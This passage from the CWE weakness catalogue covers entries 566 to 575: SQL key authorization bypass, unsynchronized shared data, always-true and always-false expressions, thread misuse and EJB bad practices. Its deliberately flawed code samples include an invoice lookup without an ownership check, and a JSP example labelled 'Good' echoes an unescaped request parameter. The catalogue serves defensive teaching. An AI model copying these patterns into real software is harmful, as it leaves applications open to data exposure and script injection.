The product uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.

Extended Description

When a user can set a primary key to any value, then the user can modify the key to point to unauthorized records.

Database access control errors occur when:

- Data enters a program from an untrusted source.
- The data is used to specify the value of a primary key in a SQL query.
- The untrusted source does not have the permissions to be able to access all rows in the associated table.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	639	Authorization Bypass Through User-Controlled Key	1406

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2425

Applicable Platforms

Technology : Database Server *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data. Use an "accept known good" validation strategy.

Phase: Implementation

Use a parameterized query AND make sure that the accepted values conform to the business rules. Construct your SQL statement accordingly.

Demonstrative Examples

Example 1:

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

Example Language: C# *(Bad)*

```
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...
```

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2417
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487

Nature	Type	ID	Name	V	Page
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP25		Tainted input to variable

CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context

Weakness ID : 567
Structure : Simple
Abstraction : Base

Description

The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.

Extended Description

Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable.

Note that this weakness is not unique to servlets.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	820	Missing Synchronization	1720
CanPrecede	B	488	Exposure of Data Element to Wrong Session	1169

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1448

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1448

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Application Data Modify Application Data DoS: Instability DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	If the shared variable contains sensitive data, it may be manipulated or displayed in another user session. If this data is used to control the application, its value can be manipulated to cause the application to crash or perform poorly.	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Remove the use of static variables used between servlets. If this cannot be avoided, use synchronized access for these variables.

Demonstrative Examples

Example 1:

The following code implements a basic counter for how many times the page has been accesed.

Example Language: Java *(Bad)*

```
public static class Counter extends HttpServlet {
  static int count = 0;
  protected void doGet(HttpServletRequest in, HttpServletResponse out)
  throws ServletException, IOException {
    out.setContentType("text/plain");
    PrintWriter p = out.getWriter();
    count++;
    p.println(count + " hits so far!");
  }
}
```

Consider when two separate threads, Thread A and Thread B, concurrently handle two different requests:

- Assume this is the first occurrence of doGet, so the value of count is 0.
- doGet() is called within Thread A.
- The execution of doGet() in Thread A continues to the point AFTER the value of the count variable is read, then incremented, but BEFORE it is saved back to count. At this stage, the incremented value is 1, but the value of count is 0.
- doGet() is called within Thread B, and due to a higher thread priority, Thread B progresses to the point where the count variable is accessed (where it is still 0), incremented, and saved. After the save, count is 1.
- Thread A continues. It saves the intermediate, incremented value to the count variable - but the incremented value is 1, so count is "re-saved" to 1.

At this point, both Thread A and Thread B print that one hit has been seen, even though two separate requests have been processed. The value of count should be 2, not 1.

While this example does not have any real serious implications, if the shared variable in question is used for resource tracking, then resource consumption could occur. Other scenarios exist.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	2366
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	2411
MemberOf	C	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	2448
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	VNA00-J		Ensure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)	VNA02-J		Ensure that compound operations on shared variables are atomic
Software Fault Patterns	SFP19		Missing Lock

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock

CWE-568: finalize() Method Without super.finalize()

Weakness ID : 568
Structure : Simple
Abstraction : Variant

Description

The product contains a finalize() method that does not call super.finalize().

Extended Description

The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1298
ChildOf	B	459	Incomplete Cleanup	1099

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Call the super.finalize() method.

Phase: Testing

Use static analysis tools to spot such issues in your code.

Demonstrative Examples

Example 1:

The following method omits the call to super.finalize().

Example Language: Java *(Bad)*

```
protected void finalize() {
  discardNative();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2364
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2421
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2447
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET12-J		Do not use finalizers
Software Fault Patterns	SFP28		Unexpected access points

CWE-570: Expression is Always False

Weakness ID : 570
Structure : Simple
Abstraction : Base

Description

The product contains an expression that will always evaluate to false.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549
CanPrecede	B	561	Dead Code	1275

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	2330

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Testing

Use Static Analysis tools to spot such conditions.

Demonstrative Examples

Example 1:

In the following Java example the updateUserAccountOrder() method used within an e-business product ordering/inventory application will validate the product number that was ordered and the user account number. If they are valid, the method will update the product inventory, the user account, and the user order appropriately.

Example Language: Java *(Bad)*

```
public void updateUserAccountOrder(String productNumber, String accountNumber) {
    boolean isValidProduct = false;
    boolean isValidAccount = false;
    if (validProductNumber(productNumber)) {
        isValidProduct = true;
        updateInventory(productNumber);
    }
    else {
        return;
    }
    if (validAccountNumber(accountNumber)) {
        isValidProduct = true;
        updateAccount(accountNumber, productNumber);
    }
    if (isValidProduct && isValidAccount) {
        updateAccountOrder(accountNumber, productNumber);
    }
}
```

However, the method never sets the isValidAccount variable after initializing it to false so the isValidProduct is mistakenly used twice. The result is that the expression "isValidProduct && isValidAccount" will always evaluate to false, so the updateAccountOrder() method will never be invoked. This will create serious problems with the product ordering application since the user account and inventory databases will be updated but the order will not be updated.

This can be easily corrected by updating the appropriate variable.

Example Language: *(Good)*

```
...
if (validAccountNumber(accountNumber)) {
    isValidAccount = true;
    updateAccount(accountNumber, productNumber);
}
...
```

Example 2:

In the following example, the hasReadWriteAccess method uses bit masks and bit operators to determine if a user has read and write privileges for a particular process. The variable mask is defined as a bit mask from the BIT_READ and BIT_WRITE constants that have been defined. The variable mask is used within the predicate of the hasReadWriteAccess method to determine if the userMask input parameter has the read and write bits set.

Example Language: C *(Bad)*

```
#define BIT_READ 0x0001 // 00000001
#define BIT_WRITE 0x0010 // 00010000
unsigned int mask = BIT_READ & BIT_WRITE; /* intended to use "|" */
// using "&", mask = 00000000
// using "|", mask = 00010001
// determine if user has read and write access
int hasReadWriteAccess(unsigned int userMask) {
    // if the userMask has read and write bits set
    // then return 1 (true)
    if (userMask & mask) {
        return 1;
    }
    // otherwise return 0 (false)
    return 0;
}
```

However the bit operator used to initialize the mask variable is the AND operator rather than the intended OR operator (CWE-480), this resulted in the variable mask being set to 0. As a result, the if statement will always evaluate to false and never get executed.

The use of bit masks, bit operators and bitwise operations on variables can be difficult. If possible, try to use frameworks or libraries that provide appropriate functionality and abstract the implementation.

Example 3:

In the following example, the updateInventory method used within an e-business inventory application will update the inventory for a particular product. This method includes an if statement with an expression that will always evaluate to false. This is a common practice in C/C++ to introduce debugging statements quickly by simply changing the expression to evaluate to true and then removing those debugging statements by changing expression to evaluate to false. This is also a common practice for disabling features no longer needed.

Example Language: C *(Bad)*

```
int updateInventory(char* productNumber, int numberOfItems) {
  int initCount = getProductCount(productNumber);
  int updatedCount = initCount + numberOfItems;
  int updated = updateProductCount(updatedCount);
  // if statement for debugging purposes only
  if (1 == 0) {
    char productName[128];
    productName = getProductName(productNumber);
    printf("product %s initially has %d items in inventory \n", productName, initCount);
    printf("adding %d items to inventory for %s \n", numberOfItems, productName);
    if (updated == 0) {
      printf("Inventory updated for product %s to %d items \n", productName, updatedCount);
    }
    else {
      printf("Inventory not updated for product: %s \n", productName);
    }
  }
  return updated;
}
```

Using this practice for introducing debugging statements or disabling features creates dead code that can cause problems during code maintenance and potentially introduce vulnerabilities. To avoid using expressions that evaluate to false for debugging purposes a logging API or debugging API should be used for the output of debugging messages.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2350
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2381
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC00-C		Compile cleanly at high warning levels
Software Fault Patterns	SFP1		Glitch in computation

CWE-571: Expression is Always True

Weakness ID : 571
Structure : Simple
Abstraction : Base

Description

The product contains an expression that will always evaluate to true.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549
CanPrecede	B	561	Dead Code	1275

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	2330

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Testing

Use Static Analysis tools to spot such conditions.

Demonstrative Examples

Example 1:

In the following Java example the updateInventory() method used within an e-business product ordering/inventory application will check if the input product number is in the store or in the warehouse. If the product is found, the method will update the store or warehouse database as well as the aggregate product database. If the product is not found, the method intends to do some special processing without updating any database.

Example Language: Java *(Bad)*

```
public void updateInventory(String productNumber) {
  boolean isProductAvailable = false;
  boolean isDelayed = false;
  if (productInStore(productNumber)) {
    isProductAvailable = true;
    updateInStoreDatabase(productNumber);
  }
  else if (productInWarehouse(productNumber)) {
    isProductAvailable = true;
    updateInWarehouseDatabase(productNumber);
  }
  else {
    isProductAvailable = true;
  }
  if ( isProductAvailable ) {
    updateProductDatabase(productNumber);
  }
  else if ( isDelayed ) {
    /* Warn customer about delay before order processing */
    ...
  }
}
```

However, the method never sets the isDelayed variable and instead will always update the isProductAvailable variable to true. The result is that the predicate testing the isProductAvailable boolean will always evaluate to true and therefore always update the product database. Further, since the isDelayed variable is initialized to false and never changed, the expression always evaluates to false and the customer will never be warned of a delay on their product.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2350
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2381
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC00-C		Compile cleanly at high warning levels
Software Fault Patterns	SFP1		Glitch in computation

CWE-572: Call to Thread run() instead of start()

Weakness ID : 572
Structure : Simple
Abstraction : Variant

Description

The product calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.

Extended Description

In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	821	Incorrect Synchronization	1722

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Use the start() method instead of the run() method.

Demonstrative Examples

Example 1:

The following excerpt from a Java program mistakenly calls run() instead of start().

Example Language: Java *(Bad)*

```
Thread thr = new Thread() {
  public void run() {
    ...
  }
};
thr.run();
```

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	854	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI)	844	2367
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2420
MemberOf	C	1144	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI)	1133	2449
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	THI00-J		Do not invoke Thread.run()
Software Fault Patterns	SFP3		Use of an improper API

CWE-573: Improper Following of Specification by Caller

Weakness ID : 573
Structure : Simple
Abstraction : Class

Description

The product does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform.

Extended Description

When leveraging external functionality, such as an API, it is important that the caller does so in accordance with the requirements of the external functionality or else unintended behaviors may result, possibly leaving the system vulnerable to any number of exploits.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549
ParentOf	V	103	Struts: Incomplete validate() Method Definition	248
ParentOf	V	104	Struts: Form Bean Does Not Extend Validation Class	251
ParentOf	V	243	Creation of chroot Jail Without Changing Working Directory	589
ParentOf	B	253	Incorrect Check of Function Return Value	613
ParentOf	B	296	Improper Following of a Certificate's Chain of Trust	719
ParentOf	B	304	Missing Critical Step in Authentication	738
ParentOf	B	325	Missing Cryptographic Step	794
ParentOf	V	329	Generation of Predictable IV with CBC Mode	811
ParentOf	B	358	Improperly Implemented Security Check for Standard	881

Nature	Type	ID	Name	Page
ParentOf	B	475	Undefined Behavior for Input to API	1130
ParentOf	V	568	finalize() Method Without super.finalize()	1290
ParentOf	V	577	EJB Bad Practices: Use of Sockets	1305
ParentOf	V	578	EJB Bad Practices: Use of Class Loader	1307
ParentOf	V	579	J2EE Bad Practices: Non-serializable Object Stored in Session	1309
ParentOf	V	580	clone() Method Without super.clone()	1311
ParentOf	V	581	Object Model Violation: Just One of Equals and Hashcode Defined	1312
ParentOf	B	628	Function Call with Incorrectly Specified Arguments	1398
ParentOf	C	675	Multiple Operations on Resource in Single-Operation Context	1487
ParentOf	B	694	Use of Multiple Resources with Duplicate Identifier	1523
ParentOf	B	695	Use of Low-Level Functionality	1524

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Observed Examples

Reference	Description
CVE-2006-7140	Crypto implementation removes padding when it shouldn't, allowing forged signatures *https://www.cve.org/CVERecord?id=CVE-2006-7140*
CVE-2006-4339	Crypto implementation removes padding when it shouldn't, allowing forged signatures *https://www.cve.org/CVERecord?id=CVE-2006-4339*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2364
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2420
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2447
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET10-J		Follow the general contract when implementing the compareTo() method

CWE-574: EJB Bad Practices: Use of Synchronization Primitives

Weakness ID : 574
Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances." The specification justifies this requirement in the following way: "This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1524
ChildOf	B	821	Incorrect Synchronization	1722

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Do not use Synchronization Primitives when writing EJBs.

Demonstrative Examples

Example 1:

In the following Java example a Customer Entity EJB provides access to customer information in a database for a business application.

Example Language: Java *(Bad)*

```
@Entity
public class Customer implements Serializable {
  private String id;
  private String firstName;
  private String lastName;
  private Address address;
  public Customer() {...}
  public Customer(String id, String firstName, String lastName) {...}
  @Id
  public String getCustomerId() {...}
```

```
    public synchronized void setCustomerId(String id) {...}
    public String getFirstName() {...}
    public synchronized void setFirstName(String firstName) {...}
    public String getLastName() {...}
    public synchronized void setLastName(String lastName) {...}
    @OneToOne()
    public Address getAddress() {...}
    public synchronized void setAddress(Address address) {...}
}
```

However, the customer entity EJB uses the synchronized keyword for the set methods to attempt to provide thread safe synchronization for the member variables. The use of synchronized methods violate the restriction of the EJB specification against the use synchronization primitives within EJBs. Using synchronization primitives may cause inconsistent behavior of the EJB when used within different EJB containers.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2420
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

CWE-575: EJB Bad Practices: Use of AWT Swing

Weakness ID : 575
Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard." The specification justifies this requirement in the following way: "Most servers do not allow direct interaction between an application program and a keyboard/display attached to the server system."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1524

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Do not use AWT/Swing when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple converter class for converting US dollars to Yen. This converter class demonstrates the improper practice of using a stateless session Enterprise JavaBean that implements an AWT Component and AWT keyboard event listener to retrieve keyboard input from the user for the amount of the US dollars to convert to Yen.

Example Language: Java *(Bad)*

```java
@Stateless
public class ConverterSessionBean extends Component implements KeyListener, ConverterSessionRemote {
  /* member variables for receiving keyboard input using AWT API */
  ...
  private StringBuffer enteredText = new StringBuffer();
  /* conversion rate on US dollars to Yen */
  private BigDecimal yenRate = new BigDecimal("115.3100");
  public ConverterSessionBean() {
    super();
    /* method calls for setting up AWT Component for receiving keyboard input */
    ...
    addKeyListener(this);
  }
  public BigDecimal dollarToYen(BigDecimal dollars) {
    BigDecimal result = dollars.multiply(yenRate);
    return result.setScale(2, BigDecimal.ROUND_DOWN);
  }
  /* member functions for implementing AWT KeyListener interface */
  public void keyTyped(KeyEvent event) {
    ...
  }
  public void keyPressed(KeyEvent e) {
  }
  public void keyReleased(KeyEvent e) {
  }
  /* member functions for receiving keyboard input and displaying output */
  public void paint(Graphics g) {...}
  ...
}
```

This use of the AWT and Swing APIs within any kind of Enterprise JavaBean not only violates the restriction of the EJB specification against using AWT or Swing within an EJB but also violates the intended use of Enterprise JavaBeans to separate business logic from presentation logic.

The Stateless Session Enterprise JavaBean should contain only business logic. Presentation logic should be provided by some other mechanism such as Servlets or Java Server Pages (JSP) as in the following Java/JSP example.

Example Language: Java *(Good)*

```java
@Stateless
```

```
public class ConverterSessionBean implements ConverterSessionRemoteInterface {
  /* conversion rate on US dollars to Yen */
  private BigDecimal yenRate = new BigDecimal("115.3100");
  public ConverterSessionBean() {
  }
  /* remote method to convert US dollars to Yen */
  public BigDecimal dollarToYen(BigDecimal dollars) {
    BigDecimal result = dollars.multiply(yenRate);
    return result.setScale(2, BigDecimal.ROUND_DOWN);
  }
}
```

Example Language: JSP *(Good)*

```
<%@ page import="converter.ejb.Converter, java.math.*, javax.naming.*"%>
<%!
  private Converter converter = null;
  public void jspInit() {
    try {
      InitialContext ic = new InitialContext();
      converter = (Converter) ic.lookup(Converter.class.getName());
    } catch (Exception ex) {
      System.out.println("Couldn't create converter bean."+ ex.getMessage());
    }
  }
  public void jspDestroy() {
    converter = null;
  }
%>
<html>
  <head><title>Converter</title></head>
  <body bgcolor="white">
    <h1>Converter</h1>
    <hr>
    <p>Enter an amount to convert:</p>
    <form method="get">
      <input type="text" name="amount" size="25"><br>
      <p>
      <input type="submit" value="Submit">
      <input type="reset" value="Reset">
    </form>
    <%
      String amount = request.getParameter("amount");
      if ( amount != null && amount.length() > 0 ) {
        BigDecimal d = new BigDecimal(amount);
        BigDecimal yenAmount = converter.dollarToYen(d);
    %>
    <p>
    <%= amount %> dollars are <%= yenAmount %> Yen.
    <p>
    <%
      }
    %>
  </body>
</html>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2420
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

